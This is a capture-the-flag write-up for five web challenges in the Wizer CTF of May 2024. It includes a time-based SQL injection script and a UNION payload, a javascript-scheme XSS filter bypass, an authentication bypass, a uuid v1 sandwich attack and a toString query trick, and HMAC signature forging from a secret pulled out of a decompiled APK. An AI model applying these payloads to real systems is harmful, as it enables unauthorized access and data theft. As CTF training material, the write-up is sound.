WizerCTF-May2024
Wizer CTF is an exciting game designed specifically for developers . It’s all about putting your skills to the test and seeing if you can identify and exploit vulnerabilities while honing your secure coding abilities. The game kicks off with a snappy code snippet that comes with some tricky vulnerabilities. Your goal? Spot those vulnerabilities and figure out how to exploit them. The cool thing is that you don’t have to rely on guesswork to know if you’ve got it right. You can actually execute your payload right there on the game page. If you manage to successfully exploit the vulnerabilities, you’ll earn yourself a flag and a well-deserved spot on leaderboard , The main focus area is web exploitation and the ctf event is held every quarter , this writeup discusses 5 challenges out of 6.
1- Login as an Admin (SQLi)
The first challenge is a typicall sql injection challenge however it checks if the password we enter is the same returning from the table which makes it a bit tricky , also the name of admin was given “fitzh”
const getUser = async (userName, password) => {
let connection = mysql.createConnection(process.env.DATABASE_URL);
const query = `SELECT userName, password, type, firstName, lastName FROM users_table
WHERE userName = '${userName}' and password = '${password}'`;
const [rows, fields] = await connection.promise().query(query);
connection.end();
return rows;
}
const login = async (userName, password) => {
const rows = await getUser(userName, password);
if(rows.length === 1 && password === rows[0].password) {
rows[0].password = "[REDACTED]";
return rows;
}
return [];
};
this challenge can be solved blind time based as following (time consuming , not smart , not intended)
#!/usr/bin/env python3
import requests
url = "https://event2-0-4893hjf.vercel.app/api/login"
keyspace = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz!@#$^&*'
flag=""
data={'user':'','password':'test'}
for i in range(16):
for x in range (31,126) :
data['user']= f"fitzh' AND IF({x}=ascii(SUBSTR((SELECT password FROM users_table where userName='fitzh'),{i+1},1)),SLEEP(5),0);-- -"
response = requests.post(url,json=data)
if(response.elapsed.total_seconds()>3):
flag += chr(x)
print(flag)
break
print(flag)
Or it can be easily solved using the AS
Alias as some people did during the CTF
{
"user": "fritzh' UNION SELECT 'fritzh' as userName, '\" AND \\'1\\' = \\'1' as password, (SELECT password from users_table where username='fitzh') as type, '' as firstName, '' as lastName WHERE '1' = '1' OR '1' = \" FROM users_table",
"password": "\" AND '1' = '1"
}
2- Augustus Gloop’s Secret (APIs)
The challenge discusses a recent bypass technique that when an api is blacklisted like “/admin” , it can be called with “/admin/” and the check will be bypassed easily , but this time they blacklisted the /
character , so we can find other way to add a character make it valid to request /getuser
but also bypasses the check of requireAuthentication
There is a user id :4dc6b6fa-963f-4c51-b100-d2c5def2498d
given to retrieve its data as a POC.
dotenv.config();
const uuidFormat = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-5][0-9a-f]{3}-[089ab][0-9a-f]{3}-[0-9a-f]{12}$/i;
const requireAuthentication = ['getuser', 'getcompany'];
app.post('/callApi', async (req, res) => {
let json = req.body;
let api = String(json.api)?.trim()?.toLowerCase().replaceAll('/', '').replaceAll('\\', '');
let token = json.token;
try {
if (requireAuthentication.includes(api)) {
if (token == process.env.tokenSecret) {
console.log("authenticated api:", api);
const response = await axios.post(`http://localhost:${process.env.internalPort}/${api}`, json);
res.send(response.data);
} else {
res.send("Invalid token");
}
} else {
console.log("unauthenticated api:", api);
const response = await axios.post(`http://localhost:${process.env.internalPort}/${api}`, json);
res.send(response.data);
}
} catch(e) {
res.status(500).end(e.message);
console.error(e);
}
});
app2.post('/getUser', async (req, res) => {
const client = new MongoClient(process.env.MONGODB_URI);
try {
console.log("remote ip:" + requestIp.getClientIp(req));
console.log("/users body ", req.body, typeof(req.body));
const userId = req.body.userId;
if(typeof(req.body) === 'object' && userId && userId.match(uuidFormat)) {
await client.connect();
const db = client.db("evenr2_2");
const user = await db
.collection("users")
.find({ user_id: userId })
.maxTimeMS(5000)
.toArray()
console.log(user);
res.send(JSON.stringify(user));
} else {
res.send("Invalid arguments provided");
}
} catch (e) {
res.status(500).end(e.message);
console.error(e);
} finally {
await client.close();
}
})
app2.post('/getCompanies', async (req, res) => {
const client = new MongoClient(process.env.MONGODB_URI);
try {
console.log("remote ip:" + requestIp.getClientIp(req));
console.log("/companies body ", req.body, typeof(req.body));
...
})
app2.post('/CRMEntities', async (req, res) => {
res.send(CRMEntities);
})
adding the ?
will make the endpoint still valid to request then we can add the arguments needed and get the record we want
3- Hack the Menu (XSS)
The challenge is a clear open redirect challenge to trigger XSS via the javascript scheme , however the scheme is blocked in all cases as shown
import React from 'react';
import Image from 'next/image'
const sanitizeLink = (directLink) => {
// prevent XSS (replace case insensitive 'javascript' recursively in the URL)
let searchMask = "javascript";
let regEx = new RegExp(searchMask, "ig");
while(directLink !== String(directLink).replace(regEx, '')) {
directLink = String(directLink).replace(regEx, '');
}
return directLink;
}
There are multiple ways to solve it by adding characters that still make the protocol valid and passes the check like %09
, %0A%0D
as shown
4- Sensitive Flags (Nodejs UIDv1)
The goal of the challenge is clear we want to issue a request to /flag
with a valid username and a valid corresponding API_KEY , although it checks for authroization header we can still see the data at the redirect response (unsafe redirect) , and we can generate API_KEY for the admin account using createAPIKey
const secretKey = crypto.randomBytes(64);
const flags = {
'Belgium': 'black yellow red',
'United States': 'red white blue',
'France': 'blue white red',
'United Kingdom': 'red white blue',
'Germany': 'black red gold',
'FLAG': process.env.FLAG
};
const users = {'admin': {'APIKey': uuid.v1()}};
app.get('/getAPIKey', (req, res) => {
// Step 2: Only send the result if the user is logged in
const authHeader = req.headers.authorization || "No auth";
const token = authHeader.split(' ')[1];
result = {'APIKey': ''}
jwt.verify(token, secretKey, (err, user) => {
if (err) { // If the token is not valid
res.status(302);
res.setHeader('Location', '/Forbidden');
} else { // If the token is valud
result.APIKey = users[user.username]['APIKey'];
}
res.send(result);
});
});
app.get('/createAPIKey', (req, res) => {
if (req.query.sample) return res.json(uuid.v1());
if (!users[req.query.username]) return res.json('That user does not exist');
users[req.query.username]['APIKey'] = uuid.v1();
return res.json(`Generated new API key for user ${req.query.username}`);
});
app.get('/flag', (req, res) => {
// Step 1: Get the flag data but protected by the API key, our flag data is very sensitive!
let result = 'No result yet'
if (users[req.query.username] && req.query.apikey === users[req.query.username]['APIKey']) {
result = flags[req.query.flag];
}
// Step 2: Only send the result if the user is logged in
const authHeader = req.headers.authorization || "No auth";
const token = authHeader.split(' ')[1];
jwt.verify(token, secretKey, (err) => {
// If the token is not valid
if (err) {
res.status(302);
res.setHeader("Location", "/Forbidden")
}
// If the token is valid
res.send(result)
});
});
Using uuid.v1()
is known to be unsecure as it calculates values based on the timestamp and mac address of the device , it is known to be vulnerable for the sandwich attack , the following lines are the most important ones , we can get the sample and right after it the admin API_KEY is set so we can get brute-force few ones after the sample we got to get the APIKey assigned to the admin
if (req.query.sample) return res.json(uuid.v1());
if (!users[req.query.username]) return res.json('That user does not exist');
users[req.query.username]['APIKey'] = uuid.v1();
Running the sample request multiple times to check the pattern we get only the first fragment is slightly changed
So eventually solution will be to do the following steps :
- reset admin api token
- get the sample value
- brute-force the first fragment (maybe last 6 digits of the first fragment is enough)
However , there is another unintended solution to bypass the checks as following (This solution was discussed in the ctf server after the event ended)
if (users[req.query.username] && req.query.apikey === users[req.query.username]['APIKey']) {
result = flags[req.query.flag];
}
- As we control the
req.query.username
, if we pass the first check so it returns something but doesn’t have an apikey - In same time don’t provide
apikey
parameter so we pass the if checks and get into the body - we supply
?flag=FLAG
so we choose the flag from the list given
Function.prototype.toString()
Returns a string representing the source code of the function. Overrides the Object.prototype.toString method.
To abuse the req.query.username
we can supply req.query.username["toString"]
This returns a function and not undefined error message so first check in the if
is passed , then don’t provide apikey parameter so it will be undefined and as the username is not really valid will also return undefined from users[req.query.username]['APIKey']
and pass all checks. then supply flag parameter , final payload :
/flag?username=toString&flag=FLAG
6- Sign Here (React Native)
This challenge was the most interesting one as it contains APK analysis part , analyzing the code we will understand the following
- to get the flag
/flag
we need to be logged in (have a valid session) - we also need a valid signature which contains
url
,body
parameters so we don’t manipulate it - we can’t get admin password or secret key directly
- there is an apk we can use as a client to send requests
const users = {
'admin': { id: 1, username: 'admin', password: process.env.ADMIN_PASSWORD, flag: process.env.FLAG },
'user': { id: 2, username: 'user', password: 'password', flag: 'You don\'t have a flag.' }
};
function requireLogin(req, res, next) {
if (req.session && req.session.user) {
return next();
} else {
return res.status(401).json({ message: 'Unauthorized' });
}
}
function verifySignature(secret) {
return function(req, res, next) {
const url = req.originalUrl;
const body = req.body || {};
const signature = req.get('Signature');
if (!signature) return res.status(401).send('Signature header is missing');
const hmac = crypto.createHmac('sha256', secret);
hmac.update(url);
hmac.update(JSON.stringify(body));
const calculatedSignature = hmac.digest('hex');
if (signature !== calculatedSignature) return res.status(401).send('Invalid signature');
next();
};
}
const verifySignatureMiddleware = verifySignature(process.env.SIGNING_SECRET)
const app = express();
app.use(cors());
app.use(express.json());
app.use(session({secret: process.env.SESSION_SECRET, resave: false, saveUninitialized: true}));
app.post('/login', verifySignatureMiddleware, (req, res) => {
const { username, password } = req.body;
const user = users[username];
if (user && user.password === password) {
req.session.user = username;
res.json({ message: 'Login successful', user: user });
} else {
res.status(401).json({ message: 'Invalid username or password' });
}
});
app.get('/flag', requireLogin, verifySignatureMiddleware, (req, res) => {
const id = Number(req.query.id);
res.json({ flag: Object.entries(users).find(([_, value]) => value.id === id)[1]['flag'] });
});
app.get('/download/SignHere.apk', (req, res) => {
res.send('Download the app <a href=https://sam-staging.wizer-ctf.com/downloads/SignHere.apk>here</a>');
});
Downloading the APK and starting it with jadx we found some strings related to facebook react and can find the assets/index.android.bundle
file confirming it is react native application , the file is not readable as it is in bytecode format , decompressing the apk and running file
against it we found the following
index.android.bundle: Hermes JavaScript bytecode, version 96
searching for de-compilers for this version only found this one herhermes-dec which can decompile and dis-assemble the bundle file
# install
sudo pip3 install --upgrade git+https://github.com/P1sec/hermes-dec
# run commands
hbc-disassembler assets/index.android.bundle file.hasm
hbc-decompiler assets/index.android.bundle file.js
Running the apk to see where to search for what , also we will run proxydroid with burpsuite ip as a proxy to interecpt traffic and capture requests
- the application takes the url root and username , password
- after submitting request the below request is issues to
/login
with the signature - the response returned is displayed in the app
The signature is generated in the apk , so we can try to get to its logic and generate our signature to the /flag
endpoint , as the apk appends /login
by itself we can search for that string in the js file we generated by the decompiler , will find this long hex encoded string which can be decoded to Th!s1SAV3rrrrrrrrYYYYYYG00DS3cr3t!
which will be the key
now using following page we can re-produce same signature in the login request
const crypto = require('crypto');
function generateSignature(secret, url, body) {
const hmac = crypto.createHmac('sha256', secret);
hmac.update(url);
hmac.update(JSON.stringify(body));
return hmac.digest('hex');
}
const secret = '54682173315341563372727272727272725959595959594730304453336372337421';
const url = '/login';
const body = { username: 'user', password: 'password' };
const signature = generateSignature(secret, url, body);
console.log(signature);
// output : 9c04251d39d1578eb2b04526b7a1c87367598779ae68a627b5ec64fbf1272356
to generate a signature for the flag we can use same page but modify the url and add a parameter id
as exepceted in the code above , get signature from below script , get new cookie after a fresh login add both and get the flag
const crypto = require('crypto');
function generateSignature(secret, url, body) {
const hmac = crypto.createHmac('sha256', secret);
hmac.update(url);
hmac.update(JSON.stringify(body));
return hmac.digest('hex');
}
const secret = '54682173315341563372727272727272725959595959594730304453336372337421';
const url = '/flag?id=1';
const body = { username: 'user', password: 'password' };
const signature = generateSignature(secret, url, body);
console.log(signature);